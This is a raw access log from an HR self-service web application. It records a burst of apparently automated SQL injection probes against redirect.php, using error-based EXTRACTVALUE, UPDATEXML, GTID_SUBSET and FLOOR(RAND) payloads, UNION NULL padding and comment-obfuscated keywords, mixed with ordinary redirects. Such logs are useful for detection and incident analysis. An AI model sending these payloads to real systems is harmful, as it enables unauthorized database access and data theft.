100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x74773366%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c425252%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4a575a78%2C%28NULL%29%2C0x52527837%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4a575a78%2C%28NULL%29%2C0x52527837%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x41615652%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63783858%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6777336d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78584f4d%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6f67736c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78726c57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x51585579%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a484d76%29%2C6420%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x61376759%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x534c4761%29%2C6420%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x784c5842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38594f70%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1uFu%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x784c5842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38594f70%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1uFu%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x366c4c49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45387658%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x366c4c49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45387658%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x74773366%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c425252%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5742334d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35316969%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5742334d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35316969%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4e456472%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37645937%29%2C5431%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4e456472%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37645937%29%2C5431%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x31347579%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556d4e76%29%2C5431%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x31347579%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556d4e76%29%2C5431%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x784c5842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38594f70%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1uFu%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f61444a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e443141%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f61444a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e443141%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x796f4d77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46436750%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x796f4d77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46436750%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6c316452%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46424d41%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6c316452%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46424d41%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7958494e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41434f52%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7958494e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41434f52%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x36775930%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x696b7066%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
